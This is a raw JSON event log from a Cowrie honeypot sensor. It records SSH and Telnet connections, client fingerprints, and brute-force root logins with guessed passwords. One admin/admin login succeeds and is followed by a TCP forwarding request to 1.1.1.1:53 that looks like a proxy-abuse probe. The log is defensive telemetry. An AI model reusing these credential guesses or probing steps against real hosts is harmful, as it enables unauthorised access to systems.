{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:36.548179Z","src_ip":"147.45.211.215","session":"f292a94f073f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:36.722136Z","src_ip":"147.45.211.215","session":"f292a94f073f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"48151623421","message":"login attempt [root/48151623421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:37.241964Z","src_ip":"147.45.211.215","session":"f292a94f073f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:38.422688Z","src_ip":"147.45.211.215","session":"f292a94f073f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39060,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ebc5882480","protocol":"telnet","message":"New connection: 107.6.151.170:39060 (159.203.135.109:23) [session: 17ebc5882480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:55:47.469194Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a42a5667370","protocol":"telnet","message":"New connection: 172.81.62.90:48122 (159.203.135.109:23) [session: 1a42a5667370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:06.219194Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":47978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b01f520ec341","protocol":"telnet","message":"New connection: 102.37.220.188:47978 (159.203.135.109:23) [session: b01f520ec341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:13.764445Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c93c66bd3fd","protocol":"telnet","message":"New connection: 94.23.66.112:38050 (10.17.0.5:23) [session: 5c93c66bd3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:18.960357Z"}
{"eventid":"cowrie.session.closed","duration":60.82558083534241,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:21.344500Z","src_ip":"128.199.8.54","session":"ccae9df005be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00544571876526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:21.474508Z","src_ip":"107.6.151.170","session":"17ebc5882480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8e8095b04b","protocol":"telnet","message":"New connection: 94.23.66.112:37716 (10.17.0.5:23) [session: 7d8e8095b04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:23.061004Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"5210c8a7d4da","protocol":"ssh","message":"New connection: 46.19.67.181:40980 (10.17.0.5:22) [session: 5210c8a7d4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:25.050801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:25.055528Z","src_ip":"46.19.67.181","session":"5210c8a7d4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:25.172936Z","src_ip":"46.19.67.181","session":"5210c8a7d4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creativ","message":"login attempt [root/creativ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:25.528117Z","src_ip":"46.19.67.181","session":"5210c8a7d4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:26.647325Z","src_ip":"46.19.67.181","session":"5210c8a7d4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52592,"dst_ip":"159.203.135.109","dst_port":23,"session":"268de320fe45","protocol":"telnet","message":"New connection: 172.81.62.90:52592 (159.203.135.109:23) [session: 268de320fe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:37.234957Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47536,"dst_ip":"10.17.0.5","dst_port":22,"session":"9646c09735e8","protocol":"ssh","message":"New connection: 27.71.230.31:47536 (10.17.0.5:22) [session: 9646c09735e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:39.389686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:39.511414Z","src_ip":"27.71.230.31","session":"9646c09735e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:39.658936Z","src_ip":"27.71.230.31","session":"9646c09735e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:43.204992Z","src_ip":"27.71.230.31","session":"9646c09735e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.192.198.132","src_port":38222,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bde001c48c9","protocol":"telnet","message":"New connection: 45.192.198.132:38222 (159.203.135.109:23) [session: 0bde001c48c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:44.436173Z"}
{"eventid":"cowrie.session.closed","duration":38.27427840232849,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:44.493353Z","src_ip":"172.81.62.90","session":"1a42a5667370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820452451705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:44.584807Z","src_ip":"102.37.220.188","session":"b01f520ec341","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:56:47.322338Z","src_ip":"27.71.230.31","session":"9646c09735e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.176764249801636,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:57:10.136879Z","src_ip":"94.23.66.112","session":"5c93c66bd3fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9798059463501,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:57:12.214650Z","src_ip":"172.81.62.90","session":"268de320fe45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823785066604614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:57:15.259788Z","src_ip":"45.192.198.132","session":"0bde001c48c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53612,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d9ea46d8e33","protocol":"telnet","message":"New connection: 172.81.62.90:53612 (159.203.135.109:23) [session: 5d9ea46d8e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:57:48.031710Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.192.248.153","src_port":50412,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd3736196265","protocol":"telnet","message":"New connection: 45.192.248.153:50412 (10.17.0.5:23) [session: bd3736196265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:57:59.064605Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37966,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1c60d387d06","protocol":"ssh","message":"New connection: 27.71.230.31:37966 (159.203.135.109:22) [session: c1c60d387d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:00.487201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:00.833149Z","src_ip":"27.71.230.31","session":"c1c60d387d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:04.926315Z","src_ip":"27.71.230.31","session":"c1c60d387d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:08.250479Z","src_ip":"27.71.230.31","session":"c1c60d387d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:09.689455Z","src_ip":"27.71.230.31","session":"c1c60d387d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57720,"dst_ip":"10.17.0.5","dst_port":23,"session":"461b451d113f","protocol":"telnet","message":"New connection: 94.23.66.112:57720 (10.17.0.5:23) [session: 461b451d113f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:14.096489Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50336,"dst_ip":"159.203.135.109","dst_port":23,"session":"0654430db5cb","protocol":"telnet","message":"New connection: 128.199.8.54:50336 (159.203.135.109:23) [session: 0654430db5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:18.516389Z"}
{"eventid":"cowrie.session.closed","duration":34.19691014289856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:22.228478Z","src_ip":"172.81.62.90","session":"5d9ea46d8e33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163340568542,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:23.062531Z","src_ip":"94.23.66.112","session":"7d8e8095b04b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.068477392196655,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:43.164811Z","src_ip":"94.23.66.112","session":"461b451d113f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.16352128982544,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:58:59.679716Z","src_ip":"128.199.8.54","session":"0654430db5cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.70164489746094,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:15.766061Z","src_ip":"45.192.248.153","session":"bd3736196265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11180,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d2508577d9","protocol":"ssh","message":"New connection: 87.251.64.176:11180 (10.17.0.5:22) [session: 05d2508577d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:18.638569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:18.643393Z","src_ip":"87.251.64.176","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:18.739306Z","src_ip":"87.251.64.176","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:19.116121Z","src_ip":"87.251.64.176","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:19.213525Z","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:19.310380Z","src_ip":"87.251.64.176","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:19.410668Z","src_ip":"87.251.64.176","session":"05d2508577d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33294,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8af55102ea8","protocol":"telnet","message":"New connection: 128.199.8.54:33294 (159.203.135.109:23) [session: a8af55102ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:53.679186Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34540,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa225896627","protocol":"telnet","message":"New connection: 128.199.8.54:34540 (159.203.135.109:23) [session: faa225896627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:59:55.700913Z"}
{"eventid":"cowrie.session.closed","duration":45.67718195915222,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:00:39.356188Z","src_ip":"128.199.8.54","session":"a8af55102ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.93322205543518,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:00:46.634016Z","src_ip":"128.199.8.54","session":"faa225896627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b7d0371cd1f","protocol":"telnet","message":"New connection: 128.199.8.54:35370 (159.203.135.109:23) [session: 7b7d0371cd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:00:47.476741Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35994,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0840f3d8ef7","protocol":"telnet","message":"New connection: 128.199.8.54:35994 (159.203.135.109:23) [session: c0840f3d8ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:00:49.503596Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"4add2cc80ed1","protocol":"telnet","message":"New connection: 128.199.8.54:39714 (159.203.135.109:23) [session: 4add2cc80ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:02.856472Z"}
